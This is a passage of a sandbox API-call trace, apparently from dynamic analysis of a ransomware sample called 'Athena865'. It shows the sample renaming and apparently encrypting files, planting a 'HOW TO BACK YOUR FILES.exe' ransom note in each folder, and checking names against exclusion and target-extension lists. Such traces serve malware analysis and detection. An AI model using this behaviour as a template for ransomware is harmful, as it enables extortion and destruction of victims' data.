(lpString1=".bmp", lpString2="wmdb") returned -1 [0064.555] lstrlenW (lpString="wrk") returned 3 [0064.555] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1 [0064.555] lstrlenW (lpString="xdb") returned 3 [0064.555] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1 [0064.555] lstrlenW (lpString="xld") returned 3 [0064.555] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1 [0064.555] lstrlenW (lpString="xmlff") returned 5 [0064.555] lstrcmpiW (lpString1="n.bmp", lpString2="xmlff") returned -1 [0064.555] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Services\\verisign.bmp.Athena865") returned 61 [0064.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), lpNewFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.Athena865" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.athena865"), dwFlags=0x1) returned 1 [0064.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.Athena865" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.557] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2702) returned 1 [0064.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0064.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.557] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.558] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.558] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.558] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd90, lpName=0x0) returned 0x17c [0064.559] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd90) returned 0x100000 [0064.560] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.561] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.561] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.562] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.562] CloseHandle (hObject=0x17c) returned 1 [0064.562] CloseHandle (hObject=0x154) returned 1 [0064.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0064.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.562] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0064.562] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0064.562] ReleaseMutex (hMutex=0xec) returned 1 [0064.562] CloseHandle (hObject=0xec) returned 1 [0064.563] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\SpeechEngines" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0064.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528e90 | out: hHeap=0x4f0000) returned 1 [0064.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f6d0 | out: hHeap=0x4f0000) returned 1 [0064.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines") returned 43 [0064.563] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2DE0C9EA83E71986B07C586F0F636332") returned 0xec [0064.563] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0064.563] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\SpeechEngines" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0064.563] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0064.563] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\SpeechEngines\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\speechengines\\how to back your files.exe"), bFailIfExists=1) returned 0 [0064.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\speechengines\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0064.563] GetLastError () returned 0x0 [0064.563] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0064.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x539d08 [0064.564] ReadFile (in: hFile=0xf4, lpBuffer=0x539d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x539d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0064.564] CloseHandle (hObject=0xf4) returned 1 [0064.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539d08 | out: hHeap=0x4f0000) returned 1 [0064.564] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0064.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd451300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd451300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0064.565] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.565] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.565] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0064.565] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd451300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd451300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.565] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.565] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.565] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0064.565] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0064.565] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd451300, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd451300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0064.565] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0064.565] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0064.565] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0064.566] lstrlenW (lpString="Microsoft") returned 9 [0064.566] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0064.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f6d0 [0064.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x5390e0 [0064.566] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0064.566] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0064.566] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.568] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0064.568] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0064.568] ReleaseMutex (hMutex=0xec) returned 1 [0064.569] CloseHandle (hObject=0xec) returned 1 [0064.569] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\System" | out: lpString1="C:\\Program Files\\Common Files\\System") returned="C:\\Program Files\\Common Files\\System" [0064.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5161b8 | out: hHeap=0x4f0000) returned 1 [0064.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f6e8 | out: hHeap=0x4f0000) returned 1 [0064.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\System") returned 36 [0064.569] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3965599FAAA01383A4E627FF3B9D01DF") returned 0xec [0064.569] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0064.569] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System" | out: lpString1="C:\\Program Files\\Common Files\\System") returned="C:\\Program Files\\Common Files\\System" [0064.569] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0064.569] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\how to back your files.exe"), bFailIfExists=1) returned 0 [0064.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0064.569] GetLastError () returned 0x0 [0064.569] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0064.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x539d08 [0064.570] ReadFile (in: hFile=0xf4, lpBuffer=0x539d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x539d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0064.571] CloseHandle (hObject=0xf4) returned 1 [0064.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539d08 | out: hHeap=0x4f0000) returned 1 [0064.571] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0064.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd451300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd451300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0064.572] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.572] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.572] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0064.572] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd451300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd451300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.572] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.572] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.572] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0064.572] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0064.572] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0064.572] lstrcmpiW (lpString1="ado", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.572] lstrcmpiW (lpString1="ado", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.572] lstrcmpiW (lpString1="ado", lpString2=".") returned 1 [0064.572] lstrcmpiW (lpString1="ado", lpString2="..") returned 1 [0064.572] lstrcmpiW (lpString1="ado", lpString2="windows") returned -1 [0064.572] lstrcmpiW (lpString1="ado", lpString2="bootmgr") returned -1 [0064.572] lstrcmpiW (lpString1="ado", lpString2="temp") returned -1 [0064.572] lstrcmpiW (lpString1="ado", lpString2="pagefile.sys") returned -1 [0064.572] lstrcmpiW (lpString1="ado", lpString2="boot") returned -1 [0064.572] lstrcmpiW (lpString1="ado", lpString2="ids.txt") returned -1 [0064.572] lstrcmpiW (lpString1="ado", lpString2="ntuser.dat") returned -1 [0064.572] lstrcmpiW (lpString1="ado", lpString2="perflogs") returned -1 [0064.572] lstrcmpiW (lpString1="ado", lpString2="MSBuild") returned -1 [0064.572] lstrlenW (lpString="ado") returned 3 [0064.572] lstrcpyW (in: lpString1=0x241e892, lpString2="ado" | out: lpString1="ado") returned="ado" [0064.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f6e8 [0064.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x528e90 [0064.572] lstrcatW (in: lpString1="ado", lpString2="\\" | out: lpString1="ado\\") returned="ado\\" [0064.573] lstrcatW (in: lpString1="ado\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ado\\HOW TO BACK YOUR FILES.exe") returned="ado\\HOW TO BACK YOUR FILES.exe" [0064.573] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\ado\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.577] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2=".") returned 1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2="..") returned 1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2="windows") returned -1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2="bootmgr") returned 1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2="temp") returned -1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2="pagefile.sys") returned -1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2="boot") returned 1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2="ids.txt") returned -1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2="ntuser.dat") returned -1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2="perflogs") returned -1 [0064.577] lstrcmpiW (lpString1="DirectDB.dll", lpString2="MSBuild") returned -1 [0064.577] lstrlenW (lpString="DirectDB.dll") returned 12 [0064.577] lstrcpyW (in: lpString1=0x241e892, lpString2="DirectDB.dll" | out: lpString1="DirectDB.dll") returned="DirectDB.dll" [0064.577] lstrlenW (lpString="DirectDB.dll") returned 12 [0064.577] lstrlenW (lpString="Athena865") returned 9 [0064.577] lstrcmpiW (lpString1="ectDB.dll", lpString2="Athena865") returned 1 [0064.578] lstrlenW (lpString=".dll") returned 4 [0064.578] lstrcmpiW (lpString1="DirectDB.dll", lpString2=".dll") returned 1 [0064.578] lstrlenW (lpString=".lnk") returned 4 [0064.578] lstrcmpiW (lpString1="DirectDB.dll", lpString2=".lnk") returned 1 [0064.578] lstrlenW (lpString=".ini") returned 4 [0064.578] lstrcmpiW (lpString1="DirectDB.dll", lpString2=".ini") returned 1 [0064.578] lstrlenW (lpString=".sys") returned 4 [0064.578] lstrcmpiW (lpString1="DirectDB.dll", lpString2=".sys") returned 1 [0064.578] lstrlenW (lpString="DirectDB.dll") returned 12 [0064.578] lstrlenW (lpString="bak") returned 3 [0064.578] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0064.578] lstrlenW (lpString="ba_") returned 3 [0064.578] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0064.578] lstrlenW (lpString="dbb") returned 3 [0064.578] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0064.578] lstrlenW (lpString="vmdk") returned 4 [0064.578] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0064.578] lstrlenW (lpString="rar") returned 3 [0064.578] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0064.578] lstrlenW (lpString="zip") returned 3 [0064.578] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0064.578] lstrlenW (lpString="tgz") returned 3 [0064.578] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0064.578] lstrlenW (lpString="vbox") returned 4 [0064.578] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0064.578] lstrlenW (lpString="vdi") returned 3 [0064.578] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0064.578] lstrlenW (lpString="vhd") returned 3 [0064.578] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0064.578] lstrlenW (lpString="vhdx") returned 4 [0064.578] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0064.578] lstrlenW (lpString="avhd") returned 4 [0064.578] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0064.579] lstrlenW (lpString="db") returned 2 [0064.579] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0064.579] lstrlenW (lpString="db2") returned 3 [0064.579] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0064.579] lstrlenW (lpString="db3") returned 3 [0064.579] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0064.579] lstrlenW (lpString="dbf") returned 3 [0064.579] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0064.579] lstrlenW (lpString="mdf") returned 3 [0064.579] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0064.579] lstrlenW (lpString="mdb") returned 3 [0064.579] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0064.579] lstrlenW (lpString="sql") returned 3 [0064.579] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0064.579] lstrlenW (lpString="sqlite") returned 6 [0064.579] lstrcmpiW (lpString1="DB.dll", lpString2="sqlite") returned -1 [0064.579] lstrlenW (lpString="sqlite3") returned 7 [0064.579] lstrcmpiW (lpString1="tDB.dll", lpString2="sqlite3") returned 1 [0064.579] lstrlenW (lpString="sqlitedb") returned 8 [0064.579] lstrcmpiW (lpString1="ctDB.dll", lpString2="sqlitedb") returned -1 [0064.579] lstrlenW (lpString="xml") returned 3 [0064.579] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0064.579] lstrlenW (lpString="$er") returned 3 [0064.579] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0064.579] lstrlenW (lpString="4dd") returned 3 [0064.579] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0064.579] lstrlenW (lpString="4dl") returned 3 [0064.579] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0064.579] lstrlenW (lpString="^^^") returned 3 [0064.579] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0064.579] lstrlenW (lpString="abs") returned 3 [0064.579] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0064.580] lstrlenW (lpString="abx") returned 3 [0064.580] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0064.580] lstrlenW (lpString="accdb") returned 5 [0064.580] lstrcmpiW (lpString1="B.dll", lpString2="accdb") returned 1 [0064.580] lstrlenW (lpString="accdc") returned 5 [0064.580] lstrcmpiW (lpString1="B.dll", lpString2="accdc") returned 1 [0064.580] lstrlenW (lpString="accde") returned 5 [0064.580] lstrcmpiW (lpString1="B.dll", lpString2="accde") returned 1 [0064.580] lstrlenW (lpString="accdr") returned 5 [0064.580] lstrcmpiW (lpString1="B.dll", lpString2="accdr") returned 1 [0064.580] lstrlenW (lpString="accdt") returned 5 [0064.580] lstrcmpiW (lpString1="B.dll", lpString2="accdt") returned 1 [0064.580] lstrlenW (lpString="accdw") returned 5 [0064.580] lstrcmpiW (lpString1="B.dll", lpString2="accdw") returned 1 [0064.580] lstrlenW (lpString="accft") returned 5 [0064.580] lstrcmpiW (lpString1="B.dll", lpString2="accft") returned 1 [0064.580] lstrlenW (lpString="adb") returned 3 [0064.580] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0064.580] lstrlenW (lpString="adb") returned 3 